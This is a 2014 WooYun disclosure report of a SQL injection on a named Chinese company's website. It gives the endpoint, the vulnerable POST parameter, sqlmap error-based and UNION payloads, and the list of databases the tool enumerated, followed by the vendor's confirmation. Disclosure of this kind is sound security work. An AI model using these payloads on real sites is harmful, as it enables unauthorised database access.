漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-083258
漏洞标题：北京科维能动信息技术有限公司官网注入
相关厂商：北京科维能动信息技术有限公司
漏洞作者： 褪色的黑
提交时间：2014-11-18 12:39
修复时间：2015-01-02 12:40
公开时间：2015-01-02 12:40
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-11-18： 细节已通知厂商并且等待厂商处理中
2014-11-21： 厂商已经确认，细节仅向厂商公开
2014-12-01： 细节向核心白帽子及相关领域专家公开
2014-12-11： 细节向普通白帽子公开
2014-12-21： 细节向实习白帽子公开
2015-01-02： 细节向公众公开
简要描述：
POST注入
详细说明：
注入地址：http://www.itenable.com.cn/control/WebAPI/Search.news.inc.php
POST数据：Action=queryNewsSubmit&cateID=1&keyword=1&submit=%2B%D1%AF%2B
然后用工具跑起来~~~
没有继续深入，不知道公司产品源码是不是早都泄漏了？
漏洞证明：
sqlmap identified the following injection points with a total of 892 HTTP(s) requests:
---
Place: POST
Parameter: cateID
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: keyword=1\'&cateID=0 AND (SELECT 9903 FROM(SELECT COUNT(*),CONCAT(0x7163637371,(SELECT (CASE WHEN (9903=9903) THEN 1 ELSE 0 END)),0x7168667971,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&Action=queryNewsSubmit&submit= %B2%E9 %D1%AF
Type: UNION query
Title: MySQL UNION query (NULL) - 12 columns
Payload: keyword=1\'&cateID=0 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7163637371,0x7271747851674d556c56,0x7168667971),NULL,NULL#&Action=queryNewsSubmit&submit= %B2%E9 %D1%AF
---
web application technology: Apache, PHP 5.1.6
back-end DBMS: MySQL 5.0
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: cateID
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: keyword=1\'&cateID=0 AND (SELECT 9903 FROM(SELECT COUNT(*),CONCAT(0x7163637371,(SELECT (CASE WHEN (9903=9903) THEN 1 ELSE 0 END)),0x7168667971,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&Action=queryNewsSubmit&submit= %B2%E9 %D1%AF
Type: UNION query
Title: MySQL UNION query (NULL) - 12 columns
Payload: keyword=1\'&cateID=0 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7163637371,0x7271747851674d556c56,0x7168667971),NULL,NULL#&Action=queryNewsSubmit&submit= %B2%E9 %D1%AF
---
web application technology: Apache, PHP 5.1.6
back-end DBMS: MySQL 5.0
available databases [13]:
[*] 195_car
[*] demo_alan
[*] demo_arc
[*] demo_lanzhou
[*] enableq
[*] i_enableq_com_6kbbs
[*] information_schema
[*] ite_new
[*] lbs_data
[*] mysql
[*] q_autohome
[*] qdoc
[*] test
修复方案：
过滤
版权声明：转载请注明来源 褪色的黑@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：8
确认时间：2014-11-21 08:59
厂商回复：
该漏洞几年前已被发现。官方网站使用2009年开发的软件产品，一直懒，没升级。主要是服务器上无重要数据。官方网站一直用来宣传，无其他用途。近期准备重新安装部署新的服务器和产品。不过，仍然谢谢漏洞发现者。
最新状态：
暂无